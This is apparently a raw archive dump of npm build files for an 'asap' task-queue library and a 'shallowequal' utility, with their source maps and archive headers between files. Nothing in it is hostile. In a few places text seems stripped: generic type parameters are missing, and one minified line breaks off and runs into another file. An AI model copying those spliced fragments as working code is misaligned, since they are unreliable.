Prevent leaking memory for long chains of recursive calls to `asap`. // If we call `asap` within tasks scheduled by `asap`, the queue will // grow, but to avoid an O(n) walk for every task we execute, we don't // shift tasks off the queue after they have been executed. // Instead, we periodically shift 1024 tasks off the queue. if (this.index > this.capacity) { // Manually shift all values starting at the index back to the // beginning of the queue. for(let scan = 0, newLength = q.length - this.index; scan < newLength; scan++){ q[scan] = q[scan + this.index]; } q.length -= this.index; this.index = 0; } } q.length = 0; this.index = 0; this.flushing = false; }; // In a web browser, exceptions are not fatal. However, to avoid // slowing down the queue of pending tasks, we rethrow the error in a // lower priority turn. this.registerPendingError = (err)=>{ this.pendingErrors.push(err); this.requestErrorThrow(); }; // `requestFlush` requests that the high priority event queue be flushed as // soon as possible. // This is useful to prevent an error thrown in a task from stalling the event // queue if the exception handled by Node.js’s // `process.on("uncaughtException")` or by a domain. // `requestFlush` is implemented using a strategy based on data collected from // every available SauceLabs Selenium web driver worker at time of writing. // https://docs.google.com/spreadsheets/d/1mG-5UYGup5qxGdEMWkhP6BWCz053NUb2E1QoUTU16uA/edit#gid=783724593 this.requestFlush = makeRequestCall(this.flush); this.requestErrorThrow = makeRequestCallFromTimer(()=>{ // Throw first error if (this.pendingErrors.length) { throw this.pendingErrors.shift(); } }); } } // The message channel technique was discovered by Malte Ubl and was the // original foundation for this library. // http://www.nonblocking.io/2011/06/windownexttick.html // Safari 6.0.5 (at least) intermittently fails to create message ports on a // page's first load. Thankfully, this version of Safari supports // MutationObservers, so we don't need to fall back in that case. // function makeRequestCallFromMessageChannel(callback) { // var channel = new MessageChannel(); // channel.port1.onmessage = callback; // return function requestCall() { // channel.port2.postMessage(0); // }; // } // For reasons explained above, we are also unable to use `setImmediate` // under any circumstances. // Even if we were, there is another bug in Internet Explorer 10. // It is not sufficient to assign `setImmediate` to `requestFlush` because // `setImmediate` must be called *by name* and therefore must be wrapped in a // closure. // Never forget. // function makeRequestCallFromSetImmediate(callback) { // return function requestCall() { // setImmediate(callback); // }; // } // Safari 6.0 has a problem where timers will get lost while the user is // scrolling. This problem does not impact ASAP because Safari 6.0 supports // mutation observers, so that implementation is used instead. // However, if we ever elect to use timers in Safari, the prevalent work-around // is to add a scroll event listener that calls for a flush. // `setTimeout` does not call the passed callback if the delay is less than // approximately 7 in web workers in Firefox 8 through 18, and sometimes not // even then. // This is for `asap.js` only. // Its name will be periodically randomized to break any code that depends on // // its existence. // rawAsap.makeRequestCallFromTimer = makeRequestCallFromTimer // ASAP was originally a nextTick shim included in Q. This was factored out // into this ASAP package. It was later adapted to RSVP which made further // amendments. These decisions, particularly to marginalize MessageChannel and // to capture the MutationObserver implementation in a closure, were integrated // back into ASAP proper. // https://github.com/tildeio/rsvp.js/blob/cddf7232546a9cf858524b75cde6f9edf72620a7/lib/rsvp/asap.js //# sourceMappingURL=AsapQueue.mjs.mapesm/index.mjs000064400000000240151701456750007161 0ustar00export * from './asap.mjs'; export * from './types.mjs'; export * from './AsapQueue.mjs'; export * from './TaskFactory.mjs'; //# sourceMappingURL=index.mjs.mapesm/RawTask.mjs000064400000000677151701456750007444 0ustar00// `call`, just like a function. export class RawTask { call() { try { this.task && this.task(); } catch (error) { this.onError(error); } finally{ this.task = null; this.release(this); } } constructor(onError, release){ this.onError = onError; this.release = release; this.task = null; } } //# sourceMappingURL=RawTask.mjs.mapesm/makeRequestCall.mjs000064400000006657151701456750011156 0ustar00// Safari 6 and 6.1 for desktop, iPad, and iPhone are the only browsers that // have WebKitMutationObserver but not un-prefixed MutationObserver. // Must use `global` or `self` instead of `window` to work in both frames and web // workers. `global` is a provision of Browserify, Mr, Mrs, or Mop. /* globals self */ const scope = typeof global !== 'undefined' ? global : self; const BrowserMutationObserver = scope.MutationObserver || scope.WebKitMutationObserver; export function makeRequestCallFromTimer(callback) { return function requestCall() { // We dispatch a timeout with a specified delay of 0 for engines that // can reliably accommodate that request. This will usually be snapped // to a 4 milisecond delay, but once we're flushing, there's no delay // between events. const timeoutHandle = setTimeout(handleTimer, 0); // However, since this timer gets frequently dropped in Firefox // workers, we enlist an interval handle that will try to fire // an event 20 times per second until it succeeds. const intervalHandle = setInterval(handleTimer, 50); function handleTimer() { // Whichever timer succeeds will cancel both timers and // execute the callback. clearTimeout(timeoutHandle); clearInterval(intervalHandle); callback(); } }; } // To request a high priority event, we induce a mutation observer by toggling // the text of a text node between "1" and "-1". export function makeRequestCallFromMutationObserver(callback) { let toggle = 1; const observer = new BrowserMutationObserver(callback); const node = document.createTextNode(''); observer.observe(node, { characterData: true }); return function requestCall() { toggle = -toggle; node.data = toggle; }; } export const makeRequestCall = typeof BrowserMutationObserver === 'function' ? // reliably everywhere they are implemented. // They are implemented in all modern browsers. // // - Android 4-4.3 // - Chrome 26-34 // - Firefox 14-29 // - Internet Explorer 11 // - iPad Safari 6-7.1 // - iPhone Safari 7-7.1 // - Safari 6-7 makeRequestCallFromMutationObserver : // task queue, are implemented in Internet Explorer 10, Safari 5.0-1, and Opera // 11-12, and in web workers in many engines. // Although message channels yield to any queued rendering and IO tasks, they // would be better than imposing the 4ms delay of timers. // However, they do not work reliably in Internet Explorer or Safari. // Internet Explorer 10 is the only browser that has setImmediate but does // not have MutationObservers. // Although setImmediate yields to the browser's renderer, it would be // preferrable to falling back to setTimeout since it does not have // the minimum 4ms penalty. // Unfortunately there appears to be a bug in Internet Explorer 10 Mobile (and // Desktop to a lesser extent) that renders both setImmediate and // MessageChannel useless for the purposes of ASAP. // https://github.com/kriskowal/q/issues/396 // Timers are implemented universally. // We fall back to timers in workers in most engines, and in foreground // contexts in the following browsers. // However, note that even this simple case requires nuances to operate in a // broad spectrum of browsers. // // - Firefox 3-13 // - Internet Explorer 6-9 // - iPad Safari 4.3 // - Lynx 2.8.7 makeRequestCallFromTimer; //# sourceMappingURL=makeRequestCall.mjs.mapesm/TaskFactory.mjs000064400000000650151701456750010311 0ustar00import { RawTask } from './RawTask.mjs'; export class TaskFactory { create(task) { const tasks = this.freeTasks; const t1 = tasks.length ? tasks.pop() : new RawTask(this.onError, (t)=>tasks[tasks.length] = t ); t1.task = task; return t1; } constructor(onError){ this.onError = onError; this.freeTasks = []; } } //# sourceMappingURL=TaskFactory.mjs.mapesm/RawTask.mjs.map000064400000002070151701456750010205 0ustar00{"version":3,"sources":["../../src/RawTask.ts"],"sourcesContent":["// We wrap tasks with recyclable task objects. A task object implements\n\nimport type { TaskFn, Task } from 'types'\n\n// `call`, just like a function.\nexport class RawTask implements Task {\n\tpublic task: TaskFn | null = null\n\n\tpublic constructor(\n\t\tprivate onError: (err: any) => void,\n\t\tprivate release: (t: RawTask) => void,\n\t) {}\n\n\tpublic call() {\n\t\ttry {\n\t\t\tthis.task && this.task()\n\t\t} catch (error) {\n\t\t\tthis.onError(error)\n\t\t} finally {\n\t\t\tthis.task = null\n\t\t\tthis.release(this)\n\t\t}\n\t}\n}\n"],"names":["RawTask","call","task","error","onError","release"],"mappings":"AAIA,gCAAgC;AAChC,OAAO,MAAMA,OAAO;IAQnB,AAAOC,IAAI,GAAG;QACb,IAAI;YACH,IAAI,CAACC,IAAI,IAAI,IAAI,CAACA,IAAI,EAAE;SACxB,CAAC,OAAOC,KAAK,EAAE;YACf,IAAI,CAACC,OAAO,CAACD,KAAK,CAAC;SACnB,QAAS;YACT,IAAI,CAACD,IAAI,GAAG,IAAI;YAChB,IAAI,CAACG,OAAO,CAAC,IAAI,CAAC;SAClB;KACD;IAdD,YACSD,OAA2B,EAC3BC,OAA6B,CACpC;aAFOD,OAA2B,GAA3BA,OAA2B;aAC3BC,OAA6B,GAA7BA,OAA6B;aAJ/BH,IAAI,GAAkB,IAAI;KAK7B;CAYJ"}esm/AsapQueue.mjs.map000064400000024501151701456750010525 0ustar00{"version":3,"sources":["../../src/AsapQueue.ts"],"sourcesContent":["/* eslint-disable no-restricted-globals, @typescript-eslint/ban-ts-comment, @typescript-eslint/no-unused-vars, @typescript-eslint/no-non-null-assertion */\nimport type { Task } from './types.js'\nimport { makeRequestCall, makeRequestCallFromTimer } from './makeRequestCall.js'\n\nexport class AsapQueue {\n\tprivate queue: Task[] = []\n\t// We queue errors to ensure they are thrown in right order (FIFO).\n\t// Array-as-queue is good enough here, since we are just dealing with exceptions.\n\tprivate pendingErrors: any[] = []\n\t// Once a flush has been requested, no further calls to `requestFlush` are\n\t// necessary until the next `flush` completes.\n\t// @ts-ignore\n\tprivate flushing = false\n\t// `requestFlush` is an implementation-specific method that attempts to kick\n\t// off a `flush` event as quickly as possible. `flush` will attempt to exhaust\n\t// the event queue before yielding to the browser's own event loop.\n\tprivate requestFlush: () => void\n\n\tprivate requestErrorThrow: () => void\n\t// The position of the next task to execute in the task queue. This is\n\t// preserved between calls to `flush` so that it can be resumed if\n\t// a task throws an exception.\n\tprivate index = 0\n\t// If a task schedules additional tasks recursively, the task queue can grow\n\t// unbounded. To prevent memory exhaustion, the task queue will periodically\n\t// truncate already-completed tasks.\n\tprivate capacity = 1024\n\n\tpublic constructor() {\n\t\t// `requestFlush` requests that the high priority event queue be flushed as\n\t\t// soon as possible.\n\t\t// This is useful to prevent an error thrown in a task from stalling the event\n\t\t// queue if the exception handled by Node.js’s\n\t\t// `process.on(\"uncaughtException\")` or by a domain.\n\n\t\t// `requestFlush` is implemented using a strategy based on data collected from\n\t\t// every available SauceLabs Selenium web driver worker at time of writing.\n\t\t// https://docs.google.com/spreadsheets/d/1mG-5UYGup5qxGdEMWkhP6BWCz053NUb2E1QoUTU16uA/edit#gid=783724593\n\t\tthis.requestFlush = makeRequestCall(this.flush)\n\t\tthis.requestErrorThrow = makeRequestCallFromTimer(() => {\n\t\t\t// Throw first error\n\t\t\tif (this.pendingErrors.length) {\n\t\t\t\tthrow this.pendingErrors.shift()\n\t\t\t}\n\t\t})\n\t}\n\n\t// Use the fastest means possible to execute a task in its own turn, with\n\t// priority over other events including IO, animation, reflow, and redraw\n\t// events in browsers.\n\t//\n\t// An exception thrown by a task will permanently interrupt the processing of\n\t// subsequent tasks. The higher level `asap` function ensures that if an\n\t// exception is thrown by a task, that the task queue will continue flushing as\n\t// soon as possible, but if you use `rawAsap` directly, you are responsible to\n\t// either ensure that no exceptions are thrown from your task, or to manually\n\t// call `rawAsap.requestFlush` if an exception is thrown.\n\tpublic enqueueTask(task: Task): void {\n\t\tconst { queue: q, requestFlush } = this\n\t\tif (!q.length) {\n\t\t\trequestFlush()\n\t\t\tthis.flushing = true\n\t\t}\n\t\t// Equivalent to push, but avoids a function call.\n\t\tq[q.length] = task\n\t}\n\n\t// The flush function processes all tasks that have been scheduled with\n\t// `rawAsap` unless and until one of those tasks throws an exception.\n\t// If a task throws an exception, `flush` ensures that its state will remain\n\t// consistent and will resume where it left off when called again.\n\t// However, `flush` does not make any arrangements to be called again if an\n\t// exception is thrown.\n\tprivate flush = () => {\n\t\tconst { queue: q } = this\n\t\twhile (this.index < q.length) {\n\t\t\tconst currentIndex = this.index\n\t\t\t// Advance the index before calling the task. This ensures that we will\n\t\t\t// begin flushing on the next task the task throws an error.\n\t\t\tthis.index++\n\t\t\tq[currentIndex]!.call()\n\t\t\t// Prevent leaking memory for long chains of recursive calls to `asap`.\n\t\t\t// If we call `asap` within tasks scheduled by `asap`, the queue will\n\t\t\t// grow, but to avoid an O(n) walk for every task we execute, we don't\n\t\t\t// shift tasks off the queue after they have been executed.\n\t\t\t// Instead, we periodically shift 1024 tasks off the queue.\n\t\t\tif (this.index > this.capacity) {\n\t\t\t\t// Manually shift all values starting at the index back to the\n\t\t\t\t// beginning of the queue.\n\t\t\t\tfor (\n\t\t\t\t\tlet scan = 0, newLength = q.length - this.index;\n\t\t\t\t\tscan < newLength;\n\t\t\t\t\tscan++\n\t\t\t\t) {\n\t\t\t\t\tq[scan] = q[scan + this.index]!\n\t\t\t\t}\n\t\t\t\tq.length -= this.index\n\t\t\t\tthis.index = 0\n\t\t\t}\n\t\t}\n\t\tq.length = 0\n\t\tthis.index = 0\n\t\tthis.flushing = false\n\t}\n\n\t// In a web browser, exceptions are not fatal. However, to avoid\n\t// slowing down the queue of pending tasks, we rethrow the error in a\n\t// lower priority turn.\n\tpublic registerPendingError = (err: any) => {\n\t\tthis.pendingErrors.push(err)\n\t\tthis.requestErrorThrow()\n\t}\n}\n\n// The message channel technique was discovered by Malte Ubl and was the\n// original foundation for this library.\n// http://www.nonblocking.io/2011/06/windownexttick.html\n\n// Safari 6.0.5 (at least) intermittently fails to create message ports on a\n// page's first load. Thankfully, this version of Safari supports\n// MutationObservers, so we don't need to fall back in that case.\n\n// function makeRequestCallFromMessageChannel(callback) {\n// var channel = new MessageChannel();\n// channel.port1.onmessage = callback;\n// return function requestCall() {\n// channel.port2.postMessage(0);\n// };\n// }\n\n// For reasons explained above, we are also unable to use `setImmediate`\n// under any circumstances.\n// Even if we were, there is another bug in Internet Explorer 10.\n// It is not sufficient to assign `setImmediate` to `requestFlush` because\n// `setImmediate` must be called *by name* and therefore must be wrapped in a\n// closure.\n// Never forget.\n\n// function makeRequestCallFromSetImmediate(callback) {\n// return function requestCall() {\n// setImmediate(callback);\n// };\n// }\n\n// Safari 6.0 has a problem where timers will get lost while the user is\n// scrolling. This problem does not impact ASAP because Safari 6.0 supports\n// mutation observers, so that implementation is used instead.\n// However, if we ever elect to use timers in Safari, the prevalent work-around\n// is to add a scroll event listener that calls for a flush.\n\n// `setTimeout` does not call the passed callback if the delay is less than\n// approximately 7 in web workers in Firefox 8 through 18, and sometimes not\n// even then.\n\n// This is for `asap.js` only.\n// Its name will be periodically randomized to break any code that depends on\n// // its existence.\n// rawAsap.makeRequestCallFromTimer = makeRequestCallFromTimer\n\n// ASAP was originally a nextTick shim included in Q. This was factored out\n// into this ASAP package. It was later adapted to RSVP which made further\n// amendments. These decisions, particularly to marginalize MessageChannel and\n// to capture the MutationObserver implementation in a closure, were integrated\n// back into ASAP proper.\n// https://github.com/tildeio/rsvp.js/blob/cddf7232546a9cf858524b75cde6f9edf72620a7/lib/rsvp/asap.js\n"],"names":["makeRequestCall","makeRequestCallFromTimer","AsapQueue","enqueueTask","task","queue","q","requestFlush","length","flushing","pendingErrors","index","capacity","flush","currentIndex","call","scan","newLength","registerPendingError","err","push","requestErrorThrow","shift"],"mappings":"AAEA,SAASA,eAAe,EAAEC,wBAAwB,QAAQ,sBAAsB,CAAA;AAEhF,OAAO,MAAMC,SAAS;IA2CrB,yEAAyE;IACzE,yEAAyE;IACzE,sBAAsB;IACtB,EAAE;IACF,6EAA6E;IAC7E,wEAAwE;IACxE,+EAA+E;IAC/E,8EAA8E;IAC9E,6EAA6E;IAC7E,yDAAyD;IACzD,AAAOC,WAAW,CAACC,IAAU,EAAQ;QACpC,MAAM,EAAEC,KAAK,EAAEC,CAAC,CAAA,EAAEC,YAAY,CAAA,EAAE,GAAG,IAAI;QACvC,IAAI,CAACD,CAAC,CAACE,MAAM,EAAE;YACdD,YAAY,EAAE;YACd,IAAI,CAACE,QAAQ,GAAG,IAAI;SACpB;QACD,kDAAkD;QAClDH,CAAC,CAACA,CAAC,CAACE,MAAM,CAAC,GAAGJ,IAAI;KAClB;IArCD,aAAqB;QAvBrB,KAAQC,KAAK,GAAW,EAAE,AAL3B,CAK2B;QAC1B,mEAAmE;QACnE,iFAAiF;QACjF,KAAQK,aAAa,GAAU,EAAE,AARlC,CAQkC;QACjC,0EAA0E;QAC1E,8CAA8C;QAC9C,aAAa;QACb,KAAQD,QAAQ,GAAG,KAAK,AAZzB,CAYyB;QAOxB,sEAAsE;QACtE,kEAAkE;QAClE,8BAA8B;QAC9B,KAAQE,KAAK,GAAG,CAAC,AAtBlB,CAsBkB;QACjB,4EAA4E;QAC5E,4EAA4E;QAC5E,oCAAoC;QACpC,KAAQC,QAAQ,GAAG,IAAI,AA1BxB,CA0BwB;QAyCvB,uEAAuE;QACvE,qEAAqE;QACrE,4EAA4E;QAC5E,kEAAkE;QAClE,2EAA2E;QAC3E,uBAAuB;QACvB,KAAQC,KAAK,GAAG,IAAM;YACrB,MAAM,EAAER,KAAK,EAAEC,CAAC,CAAA,EAAE,GAAG,IAAI;YACzB,MAAO,IAAI,CAACK,KAAK,GAAGL,CAAC,CAACE,MAAM,CAAE;gBAC7B,MAAMM,YAAY,GAAG,IAAI,CAACH,KAAK;gBAC/B,uEAAuE;gBACvE,4DAA4D;gBAC5D,IAAI,CAACA,KAAK,EAAE;gBACZL,CAAC,CAACQ,YAAY,CAAC,CAAEC,IAAI,EAAE;gBACvB,uEAAuE;gBACvE,qEAAqE;gBACrE,sEAAsE;gBACtE,2DAA2D;gBAC3D,2DAA2D;gBAC3D,IAAI,IAAI,CAACJ,KAAK,GAAG,IAAI,CAACC,QAAQ,EAAE;oBAC/B,8DAA8D;oBAC9D,0BAA0B;oBAC1B,IACC,IAAII,IAAI,GAAG,CAAC,EAAEC,SAAS,GAAGX,CAAC,CAACE,MAAM,GAAG,IAAI,CAACG,KAAK,EAC/CK,IAAI,GAAGC,SAAS,EAChBD,IAAI,EAAE,CACL;wBACDV,CAAC,CAACU,IAAI,CAAC,GAAGV,CAAC,CAACU,IAAI,GAAG,IAAI,CAACL,KAAK,CAAC,AAAC;qBAC/B;oBACDL,CAAC,CAACE,MAAM,IAAI,IAAI,CAACG,KAAK;oBACtB,IAAI,CAACA,KAAK,GAAG,CAAC;iBACd;aACD;YACDL,CAAC,CAACE,MAAM,GAAG,CAAC;YACZ,IAAI,CAACG,KAAK,GAAG,CAAC;YACd,IAAI,CAACF,QAAQ,GAAG,KAAK;SACrB,AAvGF,CAuGE;QAED,gEAAgE;QAChE,qEAAqE;QACrE,uBAAuB;QACvB,KAAOS,oBAAoB,GAAG,CAACC,GAAQ,GAAK;YAC3C,IAAI,CAACT,aAAa,CAACU,IAAI,CAACD,GAAG,CAAC;YAC5B,IAAI,CAACE,iBAAiB,EAAE;SACxB,AA/GF,CA+GE;QAlFA,2EAA2E;QAC3E,oBAAoB;QACpB,8EAA8E;QAC9E,gDAA8C;QAC9C,oDAAoD;QAEpD,8EAA8E;QAC9E,2EAA2E;QAC3E,yGAAyG;QACzG,IAAI,CAACd,YAAY,GAAGP,eAAe,CAAC,IAAI,CAACa,KAAK,CAAC;QAC/C,IAAI,CAACQ,iBAAiB,GAAGpB,wBAAwB,CAAC,IAAM;YACvD,oBAAoB;YACpB,IAAI,IAAI,CAACS,aAAa,CAACF,MAAM,EAAE;gBAC9B,MAAM,IAAI,CAACE,aAAa,CAACY,KAAK,EAAE,CAAA;aAChC;SACD,CAAC;KACF;CAmED,CAED,wEAAwE;CACxE,wCAAwC;CACxC,wDAAwD;CAExD,4EAA4E;CAC5E,iEAAiE;CACjE,iEAAiE;CAEjE,yDAAyD;CACzD,0CAA0C;CAC1C,0CAA0C;CAC1C,sCAAsC;CACtC,wCAAwC;CACxC,SAAS;CACT,IAAI;CAEJ,wEAAwE;CACxE,2BAA2B;CAC3B,iEAAiE;CACjE,0EAA0E;CAC1E,6EAA6E;CAC7E,WAAW;CACX,gBAAgB;CAEhB,uDAAuD;CACvD,sCAAsC;CACtC,kCAAkC;CAClC,SAAS;CACT,IAAI;CAEJ,wEAAwE;CACxE,2EAA2E;CAC3E,8DAA8D;CAC9D,+EAA+E;CAC/E,4DAA4D;CAE5D,2EAA2E;CAC3E,4EAA4E;CAC5E,aAAa;CAEb,8BAA8B;CAC9B,6EAA6E;CAC7E,oBAAoB;CACpB,8DAA8D;CAE9D,2EAA2E;CAC3E,0EAA0E;CAC1E,8EAA8E;CAC9E,+EAA+E;CAC/E,yBAAyB;CACzB,oGAAoG"}esm/types.mjs.map000064400000000264151701456750010000 0ustar00{"version":3,"sources":["../../src/types.ts"],"sourcesContent":["export interface Task {\n\tcall(): void\n}\nexport type TaskFn = () => void\n"],"names":[],"mappings":"AAAA,WAG+B"}esm/asap.mjs000064400000001340151701456750007000 0ustar00import { AsapQueue } from './AsapQueue.mjs'; import { TaskFactory } from './TaskFactory.mjs'; const asapQueue = new AsapQueue(); const taskFactory = new TaskFactory(asapQueue.registerPendingError); /** * Calls a task as soon as possible after returning, in its own event, with priority * over other events like animation, reflow, and repaint. An error thrown from an * event will not interrupt, nor even substantially slow down the processing of * other events, but will be rather postponed to a lower priority event. * @param {{call}} task A callable object, typically a function that takes no * arguments. */ export function asap(task) { asapQueue.enqueueTask(taskFactory.create(task)); } //# sourceMappingURL=asap.mjs.mapshallowequal.cjs.development.js.map000064400000005063151701457610013471 0ustar00{"version":3,"file":"shallowequal.cjs.development.js","sources":["../src/index.ts"],"sourcesContent":["export function shallowEqual(\n objA: T,\n objB: T,\n compare?: (a: T, b: T, key?: string) => boolean | void,\n compareContext?: any\n) {\n var compareResult = compare\n ? compare.call(compareContext, objA, objB)\n : void 0;\n if (compareResult !== void 0) {\n return !!compareResult;\n }\n\n if (objA === objB) {\n return true;\n }\n\n if (typeof objA !== 'object' || !objA || typeof objB !== 'object' || !objB) {\n return false;\n }\n\n var keysA = Object.keys(objA);\n var keysB = Object.keys(objB);\n\n if (keysA.length !== keysB.length) {\n return false;\n }\n\n var bHasOwnProperty = Object.prototype.hasOwnProperty.bind(objB);\n\n // Test for A's keys different from B.\n for (var idx = 0; idx < keysA.length; idx++) {\n var key = keysA[idx];\n\n if (!bHasOwnProperty(key)) {\n return false;\n }\n\n var valueA = (objA as any)[key];\n var valueB = (objB as any)[key];\n\n compareResult = compare\n ? compare.call(compareContext, valueA, valueB, key)\n : void 0;\n\n if (\n compareResult === false ||\n (compareResult === void 0 && valueA !== valueB)\n ) {\n return false;\n }\n }\n\n return true;\n}\n"],"names":["shallowEqual","objA","objB","compare","compareContext","compareResult","call","keysA","Object","keys","keysB","length","bHasOwnProperty","prototype","hasOwnProperty","bind","idx","key","valueA","valueB"],"mappings":";;SAAgBA,aACdC,MACAC,MACAC,SACAC;MAEIC,aAAa,GAAGF,OAAO,GACvBA,OAAO,CAACG,IAAR,CAAaF,cAAb,EAA6BH,IAA7B,EAAmCC,IAAnC,CADuB,GAEvB,KAAK,CAFT;;MAGIG,aAAa,KAAK,KAAK,CAA3B,EAA8B;WACrB,CAAC,CAACA,aAAT;;;MAGEJ,IAAI,KAAKC,IAAb,EAAmB;WACV,IAAP;;;MAGE,OAAOD,IAAP,KAAgB,QAAhB,IAA4B,CAACA,IAA7B,IAAqC,OAAOC,IAAP,KAAgB,QAArD,IAAiE,CAACA,IAAtE,EAA4E;WACnE,KAAP;;;MAGEK,KAAK,GAAGC,MAAM,CAACC,IAAP,CAAYR,IAAZ,CAAZ;MACIS,KAAK,GAAGF,MAAM,CAACC,IAAP,CAAYP,IAAZ,CAAZ;;MAEIK,KAAK,CAACI,MAAN,KAAiBD,KAAK,CAACC,MAA3B,EAAmC;WAC1B,KAAP;;;MAGEC,eAAe,GAAGJ,MAAM,CAACK,SAAP,CAAiBC,cAAjB,CAAgCC,IAAhC,CAAqCb,IAArC,CAAtB;;OAGK,IAAIc,GAAG,GAAG,CAAf,EAAkBA,GAAG,GAAGT,KAAK,CAACI,MAA9B,EAAsCK,GAAG,EAAzC,EAA6C;QACvCC,GAAG,GAAGV,KAAK,CAACS,GAAD,CAAf;;QAEI,CAACJ,eAAe,CAACK,GAAD,CAApB,EAA2B;aAClB,KAAP;;;QAGEC,MAAM,GAAIjB,IAAY,CAACgB,GAAD,CAA1B;QACIE,MAAM,GAAIjB,IAAY,CAACe,GAAD,CAA1B;IAEAZ,aAAa,GAAGF,OAAO,GACnBA,OAAO,CAACG,IAAR,CAAaF,cAAb,EAA6Bc,MAA7B,EAAqCC,MAArC,EAA6CF,GAA7C,CADmB,GAEnB,KAAK,CAFT;;QAKEZ,aAAa,KAAK,KAAlB,IACCA,aAAa,KAAK,KAAK,CAAvB,IAA4Ba,MAAM,KAAKC,MAF1C,EAGE;aACO,KAAP;;;;SAIG,IAAP;;;;;"}shallowequal.cjs.production.min.js.map000064400000003742151701457610014121 0ustar00{"version":3,"file":"shallowequal.cjs.production.min.js","sources":["../src/index.ts"],"sourcesContent":["export function shallowEqual(\n objA: T,\n objB: T,\n compare?: (a: T, b: T, key?: string) => boolean | void,\n compareContext?: any\n) {\n var compareResult = compare\n ? compare.call(compareContext, objA, objB)\n : void 0;\n if (compareResult !== void 0) {\n return !!compareResult;\n }\n\n if (objA === objB) {\n return true;\n }\n\n if (typeof objA !== 'object' || !objA || typeof objB !== 'object' || !objB) {\n return false;\n }\n\n var keysA = Object.keys(objA);\n var keysB = Object.keys(objB);\n\n if (keysA.length !== keysB.length) {\n return false;\n }\n\n var bHasOwnProperty = Object.prototype.hasOwnProperty.bind(objB);\n\n // Test for A's keys different from B.\n for (var idx = 0; idx < keysA.length; idx++) {\n var key = keysA[idx];\n\n if (!bHasOwnProperty(key)) {\n return false;\n }\n\n var valueA = (objA as any)[key];\n var valueB = (objB as any)[key];\n\n compareResult = compare\n ? compare.call(compareContext, valueA, valueB, key)\n : void 0;\n\n if (\n compareResult === false ||\n (compareResult === void 0 && valueA !== valueB)\n ) {\n return false;\n }\n }\n\n return true;\n}\n"],"names":["objA","objB","compare","compareContext","compareResult","call","keysA","Object","keys","keysB","length","bHasOwnProperty","prototype","hasOwnProperty","bind","idx","key","valueA","valueB"],"mappings":"2CACEA,EACAC,EACAC,EACAC,OAEIC,EAAgBF,EAChBA,EAAQG,KAAKF,EAAgBH,EAAMC,QACnC,UACkB,IAAlBG,UACOA,KAGPJ,IAASC,SACJ,KAGW,iBAATD,IAAsBA,GAAwB,iBAATC,IAAsBA,SAC7D,MAGLK,EAAQC,OAAOC,KAAKR,GACpBS,EAAQF,OAAOC,KAAKP,MAEpBK,EAAMI,SAAWD,EAAMC,cAClB,UAGLC,EAAkBJ,OAAOK,UAAUC,eAAeC,KAAKb,GAGlDc,EAAM,EAAGA,EAAMT,EAAMI,OAAQK,IAAO,KACvCC,EAAMV,EAAMS,OAEXJ,EAAgBK,UACZ,MAGLC,EAAUjB,EAAagB,GACvBE,EAAUjB,EAAae,OAOP,KALpBZ,EAAgBF,EACZA,EAAQG,KAAKF,EAAgBc,EAAQC,EAAQF,QAC7C,SAIiB,IAAlBZ,GAA4Ba,IAAWC,SAEjC,SAIJ"}test/shallowequal.spec.d.ts000064400000000014151701457610011751 0ustar00export {}; shallowequal.cjs.production.min.js000064400000000771151701457610013344 0ustar00"use strict";exports.shallowEqual=function(r,t,e,o){var n=e?e.call(o,r,t):void 0;if(void 0!==n)return!!n;if(r===t)return!0;if("object"!=typeof r||!r||"object"!=typeof t||!t)return!1;var i=Object.keys(r),a=Object.keys(t);if(i.length!==a.length)return!1;for(var f=Object.prototype.hasOwnProperty.bind(t),l=0;l(\n objA: T,\n objB: T,\n compare?: (a: T, b: T, key?: string) => boolean | void,\n compareContext?: any\n) {\n var compareResult = compare\n ? compare.call(compareContext, objA, objB)\n : void 0;\n if (compareResult !== void 0) {\n return !!compareResult;\n }\n\n if (objA === objB) {\n return true;\n }\n\n if (typeof objA !== 'object' || !objA || typeof objB !== 'object' || !objB) {\n return false;\n }\n\n var keysA = Object.keys(objA);\n var keysB = Object.keys(objB);\n\n if (keysA.length !== keysB.length) {\n return false;\n }\n\n var bHasOwnProperty = Object.prototype.hasOwnProperty.bind(objB);\n\n // Test for A's keys different from B.\n for (var idx = 0; idx < keysA.length; idx++) {\n var key = keysA[idx];\n\n if (!bHasOwnProperty(key)) {\n return false;\n }\n\n var valueA = (objA as any)[key];\n var valueB = (objB as any)[key];\n\n compareResult = compare\n ? compare.call(compareContext, valueA, valueB, key)\n : void 0;\n\n if (\n compareResult === false ||\n (compareResult === void 0 && valueA !== valueB)\n ) {\n return false;\n }\n }\n\n return true;\n}\n"],"names":["shallowEqual","objA","objB","compare","compareContext","compareResult","call","keysA","Object","keys","keysB","length","bHasOwnProperty","prototype","hasOwnProperty","bind","idx","key","valueA","valueB"],"mappings":"SAAgBA,aACdC,MACAC,MACAC,SACAC;MAEIC,aAAa,GAAGF,OAAO,GACvBA,OAAO,CAACG,IAAR,CAAaF,cAAb,EAA6BH,IAA7B,EAAmCC,IAAnC,CADuB,GAEvB,KAAK,CAFT;;MAGIG,aAAa,KAAK,KAAK,CAA3B,EAA8B;WACrB,CAAC,CAACA,aAAT;;;MAGEJ,IAAI,KAAKC,IAAb,EAAmB;WACV,IAAP;;;MAGE,OAAOD,IAAP,KAAgB,QAAhB,IAA4B,CAACA,IAA7B,IAAqC,OAAOC,IAAP,KAAgB,QAArD,IAAiE,CAACA,IAAtE,EAA4E;WACnE,KAAP;;;MAGEK,KAAK,GAAGC,MAAM,CAACC,IAAP,CAAYR,IAAZ,CAAZ;MACIS,KAAK,GAAGF,MAAM,CAACC,IAAP,CAAYP,IAAZ,CAAZ;;MAEIK,KAAK,CAACI,MAAN,KAAiBD,KAAK,CAACC,MAA3B,EAAmC;WAC1B,KAAP;;;MAGEC,eAAe,GAAGJ,MAAM,CAACK,SAAP,CAAiBC,cAAjB,CAAgCC,IAAhC,CAAqCb,IAArC,CAAtB;;OAGK,IAAIc,GAAG,GAAG,CAAf,EAAkBA,GAAG,GAAGT,KAAK,CAACI,MAA9B,EAAsCK,GAAG,EAAzC,EAA6C;QACvCC,GAAG,GAAGV,KAAK,CAACS,GAAD,CAAf;;QAEI,CAACJ,eAAe,CAACK,GAAD,CAApB,EAA2B;aAClB,KAAP;;;QAGEC,MAAM,GAAIjB,IAAY,CAACgB,GAAD,CAA1B;QACIE,MAAM,GAAIjB,IAAY,CAACe,GAAD,CAA1B;IAEAZ,aAAa,GAAGF,OAAO,GACnBA,OAAO,CAACG,IAAR,CAAaF,cAAb,EAA6Bc,MAA7B,EAAqCC,MAArC,EAA6CF,GAA7C,CADmB,GAEnB,KAAK,CAFT;;QAKEZ,aAAa,KAAK,KAAlB,IACCA,aAA